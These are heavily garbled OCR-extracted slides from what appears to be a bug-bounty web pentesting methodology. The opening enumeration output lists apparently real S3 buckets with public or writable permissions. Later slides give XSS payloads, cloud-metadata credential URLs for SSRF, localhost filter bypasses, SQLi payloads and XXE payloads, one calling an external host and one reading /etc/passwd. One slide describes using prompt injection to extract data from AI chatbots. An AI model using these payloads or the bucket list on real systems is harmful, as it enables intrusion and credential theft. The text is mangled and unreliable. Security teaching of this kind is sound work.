N csbd.sony.com | bucket_not_exist

I E; udemy-web-upload-bucket | bucket_exists | AuthUsers: [], AllUsers: []
mdsp-test | bucket_not_exist
pendo | bucket_exists | AuthUsers: [], AllUsers: [Read, ReadACP]
rzeczoznawca | bucket_exists | AuthUsers: [], AllUsers: [Read]
red-dev | bucket_exists | AuthUsers: [], AllUsers: []
allinoneseo | bucket_exists | AuthUsers: [], AllUsers: [Read]
save-song | bucket_not_exist
gandcfabcon | bucket_not_exist
deveo | bucket_exists | AuthUsers: [], AllUsers: [Read]
appshack | bucket_exists | AuthUsers: [], AllUsers: [Read]
woo-staging | bucket_exists | AuthUsers: [], AllUsers: [Read, ReadACP]
checkon | bucket_not_exist
caspar-staging | bucket_exists | AuthUsers: [], AllUsers: [Read]
pinnacle-dev | bucket_exists | AuthUsers: [], AllUsers: [Read, Write, ReadACP, WriteACP]
lumaforge | bucket_exists | AuthUsers: [], AllUsers: [Read, ReadACP]
rodekors | bucket_exists | AuthUsers: [], AllUsers: [Read]
mustafa | bucket_exists | AuthUsers: [], AllUsers: [FullControl]
dev-place | bucket_not_exist
sioux | bucket_exists | AuthUsers: [], AllUsers: [ReadACP]
vtc-test | bucket_exists | AuthUsers: [], AllUsers: [Read]
$







HEAT MAPPING

This section called heat mapping is a relatively small one where |
describe, based on my personal experience, where | see most
vulnerabilities inside of enterprise applications.

Many of you will already know these things from your time in
bounty or offsec testing but



HEAT MAPPING ( )

One of the more common places you
can see vulnerability isin on an
enterprise level site is wherever
they allow you to upload files. This
includes uploading any format such
as images or documents.

One important note is to remember
that if a document upload exists
that data when it comes down to it
it's just XML data. Soitcanbe
subject to XML based vulnerabilities
like XXE.

| Upload Functions ]

\'{lnteqratlu-ru [fresm Ird party) ]

=

Self Uploads

\[HMI. based [Docs f F'DF]]
SSHF, X55, MXE

: X355, Shell I

Metadata

\ﬂ[wnere is data stored? ]
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While this is not explicitly a “place
tolook”initis an alert to be aware
of when you're looking at your
proxy data.

Anytime arequest aresponse

Includes a orit
returns or sends or sends or
returns

[ Content Types ]

\I Look for multipart-forms I

L{S-I'\vl.-ll. Injections. ++ ]

\-[ Look for content type XML ]

\[ Look for content type json ]
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In the last section some of those triggers will
cause us to fall down the rabbit hole of

Since many application nowadays are just
front end for routes or now host verbatim
APIs, APl testing is a paramount skill set to

Icjﬁvelop especially and newer technology is
ke

Mainly when | see APl bugs they are more
Inclined to be that the APl itself did not

data. Less and less are we seeing actual
injection in APlIs.

r—lﬁ

APls

Hidden Methods]

Lack of auth

HACKING APIs
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When testing an application most of the time
your authenticated view will give you access to
your personal account area.

In many cases this is where a lot of data ends up
beln? . 1. This means itis prime
for stored cross-site scripting.

In addition, the account section is usually where
you can set up additional integrations.

These that allow applications to
connect to each other can be subject to various
types of vulnerabilities.

Additionally, not visualized, is the opportunity to
add | or account
section!

1
[ Account Section ]

\{App Custom Fields]

\{Etnred X355, SSTI]
\[ Integratrions J

SSRF, X55
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A?ain, thisis less of an area and more of
a

rigger for application security testers.

When'you see in your interception proxy
many errors coming back you have the
ability through logger in burp to
understand what triggered that error.

If it was a certain meta character, or
injection attempt, you now have the
opportunity to play with that request an
intruder and find out if you can exploit a
real injection or cause an application
level denial of service.

[ Errors J

\[Excﬂic Injection ]
\[App DoS ]
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Lastly acommon area to investigate is
anytime you see an application passing a .

or a.S part Of d Value OTa [ Paths or URLs passed as values J
parameter or in aroute.

If the web application is taking a path or
aURL it neep s to parse that ir?sorr)ne

way.

URL and path parsers are notoriously
known for being subject to
vulnerabilities and
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Anytime you see a chat bot that is
designed to help you connect with the
customer service of the application it
should be tested for blind cross site
scripting.

Many companies either misconfigured
common integrations with these chat
bots that they buy or they try to code
these chat bots themselves and end up
being subject to blind vulnerabilities.

,,@ BARBARA
" i
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Many companies will begin to roll out
helpful chat bots like the one listed in
the previous slide but that are Al and
enabled.

A new skill set for offensive security
people will be to use prompt injection
to try and smuggle out data from the
company through a helpful Al chat
bot.

Your goal is to make Gandalf reveal the secret password
for each level. However, Gandalf will level up each time
you guess the password, and will try harder not to give
it away. Can you beat level 7? (There is a bonus level 8)

Ask me for the password and I'll happily answer!

https://gandalflakera.ai/
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WEB FUZZING

In the previous automation section we discussed
scanning for .CVE'sare
vulnerabilities that tools look for. They check an

< that they know to be subject
to some vulnerability.

gy Intruder Repeater Collaborator Sequencer Decodar Comparer Logger Extensions

imit st to 100MBE | Capturing requests up to TMB; capturing responses up to TMB

. . . Tool Method Host
A more in-depth sort of scanning is il ‘< cccctcroomimcongin
where we take i ¢ I scamner |G 020300770358461ac084. . /ie
and try to into it to see if we can Scanner  JGET  0a0300770358461ac08d... fiter
. .. Scanner 0a0300 461ac094.

trlgger a VU|nerab|||ty type Scanner |G 0a0300770358461ac094... /filter
Scanner G 0a0300770358461ac094... ffiter

D%//namic S(;anning iS more than general Scanner G 0a0300770358461ac094... fiter
C E SCannIng Response

Pretty Raw

This process can

Thisis the type of scanning that doeson
every parameter when you do an :

So what are the best practices when ?
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)
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Even after making the of looking for

and doing thereisalso a
further split of the types of fuzzing you can do in
dynamic scanning.

Burp attempts to inject many payloads into
parameter values and routes.

Even more in-depth dynamic scanning can be
done by just trying to elicit errors from the
application.

You can use James kettle's tool backslash
powered scanner to fuzz routes and parameters
and elicit these errors.

If you do indeed elicit an error then you must
spend the time to understand what you can do by
causing that error with that injection character.

? Suspicious Input Transformation

Issue: Suspicious Input Transformation
Severity: High

Confidence: Tentative

Host: https://www.secnews.gr

Path: !

Note: This issue was generated by the Burp extension: Backslash Powered Scanner.

Issue detail

The application transforms input in a way that suggests it might be vulnerable to some kind of server-side code injection
Affected parameter:s
Interesting transformations:

-\6 =>

Boring transformations:

& \101 => 101
@ \x41 => x41
® \udodl => ubedl
a\l=1
x0 => x0@

VVYVVVVVVVVYVVVVYV VY
B - N e Lk



https://portswigger.net/research/backslash-powered-scanning-hunting-unknown-vulnerability-classes
https://portswigger.net/research/backslash-powered-scanning-hunting-unknown-vulnerability-classes
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One Sma” tip fOI’ burp Elazhbaar-d Target Proxy _Intruder_ Repeater Sequencer Taen o Comparer Logger e tender
USErs s When youU feel e

like a parameter o '

o i g ht b oo bj © Ct to d - Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are
vulnerability and you detis

want to specifically attack type: [ Sniper

sacn it you can send | GEn /filterncategory=SrifestyLes Fmna/1 T

Send to Repeater Ctr-R fity-academy. ne

the request to 5 Cookie: sessionmqpY2cHIPIEDEUNS]  Serdtommuder  crl
intruder, mark the “ see-chovatobile: 7 B
place with payload  Uoeroagent: Mesillass 0 (rindows  oscesn \ppleWebRit/537. 36
markers, and then  Chrome/91.0.4472.124 Safari/S3T-3 goengions

ri g ht Cl i C k an d C h 00S e - ko - e °P II ':_::; : 1/ X e = mage/avif, image/webp,

URL-encode as you type
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ENSITIVE = Status Code

ECRETS ==ize
ERE = \Word Count
EAKED =1l1Ines

ECENTLY = ~esponse Time



VULNERABILTY
TYPES




VULN TYPES

. not intro or comprehensive. Just my
experience, tips, and valuable resources.
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The best methodology I've ever seen or taken
as a training for XSS has been b§é
. Ina dissertation about XSS!

At this point eight years old.

Ashar routinely owns )so’land several
other enterprise level applications with cross

site scripting. He breaks down a methodology

on how to know if you can exploit XSS base
on the context you land in and a series of
payload tries.

Even after taking a training of his sometimes
| still struggle to replicate the exact
methodology but it breaks down
understanding that in each context where
XSS can appear we need certain characters
to be present in order to exploit.

Check out: https://www.blackhat.com/docs/eu-14/materials/eu-14-Javed-Revisiting-XSS-Sanitization.pdf

On Cross-Site Scripting, Fallback
Authentication and Privacy in Web
Applications

Ashar Javed
(Place of birth: Bahawalpur (Pakistan))
aved@rub.de

13th November 2015

Ruhr-University Bochum
Horst Gortz Institute for I'T-Security
Chair for Network and Data Security

Dissertation zur Erlangung des Grades eines
Doktor-Ingenieurs der Fakultdt fiir Elektrotechnik und

Informationstechnik an der Ruhr-Universitat Bochum

Submission Date: (9-04-2015 —
Oral Exam Date: 08-07-2015

First Supervisor: Prof. Dr. rer. nat. Jorg Schw

Second Supervisor: Prof. Dr. rer. nat. Joachim |



https://hss-opus.ub.ruhr-uni-bochum.de/opus4/frontdoor/deliver/index/docId/4522/file/diss.pdf
https://www.blackhat.com/docs/eu-14/materials/eu-14-Javed-Revisiting-XSS-Sanitization.pdf

<a href="XSS">click_me</a>
Fceoe

Unobfuscated JavaScript URI

4.6.3 Attribute Context

<div class="XS5">double quote case</div>
<div class="X$5'>single quote case</div>
Obfuscated JavaScript URI
with URL encoding

"anyeventhandler=
"JavaScript Function

Dbfuscated JavaScript URI with HTML5
or Hex or Decimal encoding

XSS Bypass

‘anyeventhandler=
'JavaScript Function

XSS Bypass

Data URI

“anyeventhandler=
JavaScript Function

VbScript URI

No Bypass

No Further steps required because all
sanitization routines are bypassed

Figure 4.4: Attack Methodology for Attribute Context

Figure 4.5: Attack Methodology for URL Context




<div style="XSS5">double quote case</div>

<div style="XSS5">single quote case</div> <script> var a="XS5";</script>

<script> var a="XS§5";</script>

width:expression(alert(1
":; JavaScript Function; "

s JavaScript Function; '

XSS Bypass

width&#x3Aex/**/pression&#x28
alert&#x28;18#x29;&#x29;

0
7}
]
S
m
0
0N
=

</script><script>alert(1)</script>

width:expression\28 alert \28 1 129 \29

No Bypass

Figure 4.6: Attack Methodology for Script Context
No Bypass

Figure 4.7: Attack Methodology for Style Context
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After many years of enjoying XSSHUNTER by H U N 5
lammandatory the service was depreciated.

The XSS hunter's secret weapon

In the scramble many tools to self host your Get Started
blind XSS “catch” framework were born.

While many of them are excellent, the w
search still continues for a hosted solution
that is easy-peasy.

The closest I've seen so far is BXSSHunter



https://bxsshunter.com/

Xaa (

From the HUNT data project | did years ago,
these parameters or resource names are the
most likely to have cross site scripting present
inthem.

Take this specific lists with a grain of salt XSS
can be anywhere ©

)

g
S
S

earch

|
lang

keyword

guery

page

keywords

year

VIEW

email

ndime

n1unth

image

list type

url

terms

cateqoryid

key

login

begindate

[
[
[
Lid
[
[
[
[
[
|
|
[
[ type
[
[p
[
Li
[
[
[
[
[
[
[
[

enddate

e et —
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Many command line scanners and browser
plugins have attempted to do a good job at  |res—-
scanning for XSS but they all have individual |[gmme—e—:

(2) These settings control which issues Burp will check for. You can select issues by scan type or individually. If you select individual issues, you can also select the dete

iIssues based on how they parse and
interpret returned HTML.

This is why burp suite remains the best
standalone cross site scripting scanner in
the industry today.

While | usually don't kick off a large scale
scan with burp | will always craft a scanner
profile to just check for certain classes of
cross site scripting.
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InsiderPHD did
probably one of

the best visual

overviews of this

| f |
fﬁ‘f‘??ﬁ&ﬁipgﬁ AUTORIZE
pestpugns o (@GR BCDD]]ﬁl]I[ﬁ

control issues and o
|DORS : Sponsored By b@ |N‘T|‘GR‘|T|



https://www.youtube.com/watch?v=2WzqH6N-Gbc

IDOR ( )

From the HUNT data project, | did
years ago, these parameters or
resource names are the most
likely to be subject to simple

E

UsSer

account

number

order

no

doc

key

email

qroup

profile
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SSRF ( )

Sometimes SSRF can be as simple as embedding an image tag with your Burb collaborator
URL as the source but other times you

just want to shove that EVERYWERE (similar to bxss).

You can grab all URLs from your target, from GAU or Waymore, pass them to gsreplace adding
your collaborator URL:

https://iamaakashrathee.medium.com/ssrf-methodology-by-aakash-rathee-f175665e2ea



SoRF

While some of these are
imminently changing,
there still exists some
time to use a SSRF to
grab APl keys from cloud
metadata internal sites.

More and more of these
serviceshave
implemented additional
header requirements to
access these keys but
not all of them(|'think as
of this moment)

https://qgist.github.com/j

haddix//8cece?26c91cb26

S653f31basbb3e?2/3b

Cloud Metadata Dictionary useful for SSRF Testing

cloud metadata.txt

H#it AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.htmlitinstancedata-data-categories

http://169.254.169.254/1latest/user-data
http://16%.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://16%.254.169.254/latest/meta-data/iam/security-credentials/[ROLE MNAME]
http://169.254.169.254/latest/meta-data/ami-id
http://16%.254.169.254/latest/meta-data/reservation-id
http://16%.254.169.254/latest/meta-data/hostname
http://169.254.169.254/1latest/meta-data/public-keys/8/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

# AWS - Dirs

http://169.254.169.254/
http://16%.254.169.254/latest/meta-data/
http://16%.254.169.254//latest/meta-data/public-keys/

## Google Cloud
# https://cloud.google. com/compute/docs/metadata
# - Requires the header "Metadata-Flavor: Google” or "X-Google-Metadata-Request: True”

http://169.254.169.254/computeMetadata/vl/
http://metadata.google.internal/computeMetadata/vl/
http://metadata/computeMetadata/vl/
http://metadata.google.internal/computeMetadata/vl/instance/hostname
http://metadata.google.internal/computeMetadata/vl/instance/id
http://metadata.google.internal/computeMetadata/vl/project/project-id

# Google allows recursive pulls

http://metadata.google.internal/computeMetadata/vl/instance/disks/?recursive=true


https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b
https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b
https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b

SSRF
( )

The best resource in SSRF for
alternate encodings of IP
addresses once you FIND
SSRF remains the payload all
the things repository...

ELT ¥ master -

| Preview | Code

PayloadsAllTheThings / Server Side Request Forgery / README.md

Blame 883 lines (657 loc) - 32.1 KB
e

http://127.0.9.1:22

* Using @.0.0.8

http://0.6.0.9:80
http://0.6.0.0:443
http://0.6.0.0:22

Bypassing filters

Bypass using HTTPS

https://127.8.8.1/
https://localhost/

Bypass localhost with [:]

http://[::]:88/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid

http://[6ee0::1]:88/
http://[6000::1]:25/ SMTP
http://[@eea::1]:22/ SSH
http://[0@00::1]:3128/ Squid


https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Request Forgery/README.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Request Forgery/README.md

SSRF ( )

From the HUNT data project | did
years ago, these parameters or
resource names are the most
likely to be subject to simple

In addition: webhooks, XML and
DOC Uploads, Headers.

( dest

( redirect

(uri

( path

( continue

(url

( window

( next

(data

( reference

( site

[ html

[ val

( validate

( domain

( callback

( return

(_page

( feed

( host

( port

( to

( out

[ view

[ dir

[ show

( navigation

( open
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XXE ( )

The best resource for XXE
payloads is the payload box
repository on GitHub.

It goes through each type of
XXE and gives you a sample
exploit for each and is a handy
reference for when you want
to look at exploiting a XXE.

Additionally the previous repo
of awesome payloads also has
an XXE section

XXE: UTF-7 Exmaple

<?xml version="1.8" encoding="UTF-7"2>

+ADWAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +ADA
+ADWATQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACT +ADAAXQA+
+ADwW-foo+ADAA] g -xxe+ADsAPA- /foo+ADA

XXE: Base64 Encoded

4

<!DOCTYPE test [ <!ENTITY % init SYSTEM “data://text/plain;base64,ZmlsZTovLy91ldGMvcGFzc3dk™> %init; ]»<foo/>

»

XXE: XXE inside SOAP Example

<soap:Body>
<too>
<! [CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM “http://x.x.x.x:22/"> %dtd; ]>oom/>]]>
< ffoo>
</soap:Body>

XXE: XXE inside SVG

L]

<svg xmlns="http://www.w3.org/2000/svg” xmlns:xlink="http://www.w3.org/1999/x1link™ width="308" version="1.1"
<image xlink:href="expect://1s"><fimage>
<fsvg>


https://github.com/payloadbox/xxe-injection-payload-list
https://github.com/payloadbox/xxe-injection-payload-list

XXE ( )

Aqgain as referenced
earlier in the heat

mapping section, XXE is [ Documents

most common and places 2

where you think that an

XML file will be processed -

or an XML portion of the . |

app |S Sendlng and Integrations

receiving data. Ll Activity |

These days this mostly v Add-ons Drag & Drop or Click to Upload
happens in document & settings : Files Here

parsers because at the
root of them documents
are XML.

In older enterpriﬁe apps,
Sometlmes ou ave I Send files by e-mail or via REST APl instead
verbatim uploads of XML oz ocparercom [ © ' DONE UPLOADING
data that you can use to

exploit XXE.




UPLOADS




UPLOADS —

R

= ' b Sl A

( ) Common Protection Methods: ~
-"/f,lﬁ_ ' i_’\
Much Iihger’ghebXSS sectionH I
some of the best research l've
ever seen done on file upload Internal External
vulnerabilities was done many Content-Type (mime-type) Firewall: Request Header Detection
many years ago. File Name and Extension Firewall: Request Body Detection
The presentation Was by File Header (File Type Detector) Web Server Configurations
Soroush Dalili .and gave visual Content Format Permissions on File system
examples of dlfferent types of Compression (Image) Antivirus Application
upload exploits.
Name Randomization Storing data in another domain

Most of this, but without the Storing files out of accessible web
visuals, has been uploaded to directory
the OWASP CHEAT SHEET on

Storing files in the database

file upload security. |
reference that often.



https://soroush.me/blog/2012/11/file-in-the-hole/
https://twitter.com/irsdl
https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
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SHLI ( )

Beyond using SQLmap and [11:37:54] [INFO] parsing HTTP request from [N
1 :37:5 i i h
common tamper SC”ptS there [11 4] [INFO] testing connection to the target URL

Ghauri resumed the following injection point(s) from stored session:

hasn't been alot of adventsto
Parameter: [ (POST)

testing for SQL injection for a Type: boolean-based blind
|On t|me Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
g y Payload: ' OR NOT ©1238=01238 OR '1'='1l-- wXyW

Type: time-based blind

Untll haurl Title: MySQL time-based blind (query SLEEP)
Payload: -'IURESELEETEIJFRUHESELEETESLEEF’(S] 1)alXorR'Z

While they look the same bug [11:37:57] [INFO] testing MySQL

: [11:37:58] [INFO] confirming MySQL
bounty threads on TWItter [11:37:52] [INFO] the back-end DBMS is MySOL
reference that this new tool Hicc} E[ji} fetching current database -
handles blind and time [112522@4] [INFO] Eitﬁzéﬁg a0 Y O
eXp|Oitati0n and Waf evasion [11:38:48] [INFO] retrieved: 'l

current database: °

slightly better than SQLmap.

https://infosecwriteups.com/how-i-got-owned-a-multi-billion-dollar-retailers-mysql-databases-using-
simple-sgl-injection-30f8b0dfd9ce


https://github.com/r0oth3x49/ghauri

S[LI (AUTOMATION

Beyond using SQOL map
and common tamper
scripts there hasn't
been alot of adventsto
testing for SQL injection
foralong time.

Recently a tool called
HBSOLI was released to

perform blind SQL
injection in headers.

It handles time based
responses much better
than sglmap in most
cases

S oumPoa- | o
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SHLi ( )

From the HUNT data project | did
years ago, these parameters or
resource names are the most
likely to be subject to simple

(id

(select

( report

([ role

(_update

(_query

[ user

([ name

( sort

([ where

(“search

( params

( process

([ row

[ view

[ table

([ from

(sel

[ results

[ sleep

( fetch

[ order

([ keyword

([ column

[ field

[ delete

[ string

([ number

[ filter
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LOTS (

There are some instances
where you end up testing a full-
featured application likea CMS
or CRM.

The most common of these is
WordPress.

WPscan still remains the best
tool to scan WordPress sites

because of its impressive ability

to keep up it's vuInerabiIitE/)
database related to WordPress
plugins.

The biggest problem is that the
product has gone paid and you
only get 25 scans per week.

I'm still looking for a viable
alternative.

)
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